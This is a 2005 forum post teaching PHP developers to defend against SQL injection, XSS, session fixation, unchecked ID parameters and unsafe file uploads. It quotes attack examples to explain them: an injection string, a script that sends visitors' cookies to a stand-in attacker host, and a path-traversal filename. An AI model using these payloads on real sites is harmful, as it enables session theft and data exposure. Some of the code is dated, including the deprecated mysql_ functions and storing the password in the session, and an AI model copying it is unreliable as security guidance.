Keeping Your Scripts Secure
I copied this from the other thread. I think it deserves its own post and hopefully a sticky since this kind of information is not well known among the PHP community :)
SQL Injection
SQL injection happens when you take a string from an unreliable source (think $_GET or $_POST) and put it directly into your query. A malicious user can insert his or her own SQL into yours and potentially display private data or simply erase it. An example:
PHP:<?php
mysql_query("select * from emails where owner_id = 123 and subject = '{$_POST['subject']}'");
?>
This is dangerous, because a malicious user could input the subject as "' or 1 --". The -- is a SQL comment, so everything after it will be ignored. This turns the query into
PHP:<?php
mysql_query("select * from emails where owner_id = 123 and subject = '' or 1 --");
?>
which means the user will be shown a list of all emails in the database.
Protecting against SQL injection is relatively easy. Never substitute anything into a query without escaping SQL metacharacters first. All this means is
PHP:<?php
$_POST['subject'] = mysql_real_escape_string($_POST['subject']);
?>
and you are secure. I like to have a shortcut method for this:
PHP:<?php
function s() {
$values = func_get_args();
$query = array_shift($values);
if ($values) {
$query = str_replace('?', '%s', $query);
$values = array_map('mysql_real_escape_string', $values);
return vsprintf($query, $values);
} else {
return $query;
}
}
mysql_query(s("select * from emails where owner_id = 123 and subject = '?'", $_POST['subject']));
?>
Cross-Site Scripting (XSS)
Any site that displays data from an outside location without escaping it is vulnerable to an XSS attack. An typical XSS attack consists of a malicious user trying to steal another user's cookie, allowing them to login as that person. Here is an example of a script that might be used:
Code:<script>document.location = 'http://examplehacker.com/capture/' + document.cookie</script>
If you are vulnerable, this can be injected into a comments script or shoutbox, and as soon as a user views that comment their cookie is logged by the hacker. If an administrator is affected by this, bad things will happen.
To secure your site from XSS, make sure you escape all data you display on your website. This is as simple as:
PHP:<?php
// bad
echo $var;
// good
echo htmlspecialchars($var);
?>
I like to make a shortcut function for this too, because it is used so often:
PHP:<?php
function h($string) {
return htmlspecialchars($string);
}
echo h($var);
?>
Session Fixation
If a malicious user gets ahold of someone else's session ID, they can masquerade as that user.
One way to prevent this is to keep the IP address of the request that created the session. You can then destroy the session if the IP changes. However, this penalizes people who move their laptops across networks and home users whose PPPOE leases expire.
Another way is to generate a new session whenever a user logs in. For example:
PHP:<?php
session_regenerate_id();
$_SESSION['uid'] = $user_id;
$_SESSION['pass'] = $pass;
?>
Unfortunately this function is only available in PHP 4.3.2 and up. There is an attempt at emulating session_regenerate_id() for earlier versions of PHP in the comments of the documentation.
I recommend turning on session.use_only_cookies in your php.ini as it makes it a lot harder for session fixation to happen. The downside of this is that users that have cookies disabled will not be able to use sessions.
Don't Trust ID Parameters
You may have a query that looks like this:
PHP:<?php
mysql_query(s("select * from orders where id = ?", $_GET['id']));
?>
The problem with this is that there are no additional restraints on the query. A malicious user could manually enter order IDs and potentially view the orders of someone else. It's easy to prevent this:
PHP:<?php
$query = mysql_query(s("select * from orders where id = ? and user_id = ?", $_GET['id'], $_SESSION['user_id']));
if (mysql_num_rows($query) === 0) {
header('Location: index.php');
die();
}
?>
This way, we restrict orders to the current user. If there is no record found, we redirect back to the index page. The reason we don't say that it is someone else's order is because we would be giving out info that really isn't neccessary.
File Uploads
A lot of community oriented websites allow users to upload files for others to download. If you are not careful someone could use this feature to attack your site.
Someone could upload a file with a .php extension and execute a PHP script on your server. The server would be tempted to execute the file rather than send it to the browser for downloading. If you are only accepting certain types of files, rename the file on upload to make sure that it cannot be executed or otherwise maliciously used. Another solution when you are not filtering the file type is to keep all files outside of your webroot and use a script to download them.
Inside this download script, make sure you don't accept any funky filenames such as '../../etc/passwd'. The best way to avoid this is to just make a whitelist (^[a-zA-Z][\w\.]*$ is a good place to start). Making a blacklist is not as effective as there are potential ways to get around your validation that still mean something to the computer.
Also be sure that you don't display any HTML output directly without making sure that you protect yourself from XSS attacks.
Know That It Works
To make sure your code does what you want, you make tests. You should do the same when ensuring that your code is secure.
You can use the web tester in SimpleTest to simulate potential attacks. If you ever discover a new hole, write a test to ensure that once it is fixed, the hole can not reopen in the future.
Last edited by Rad, September 25th, 2005 01:48 AM (Edited 5 times)
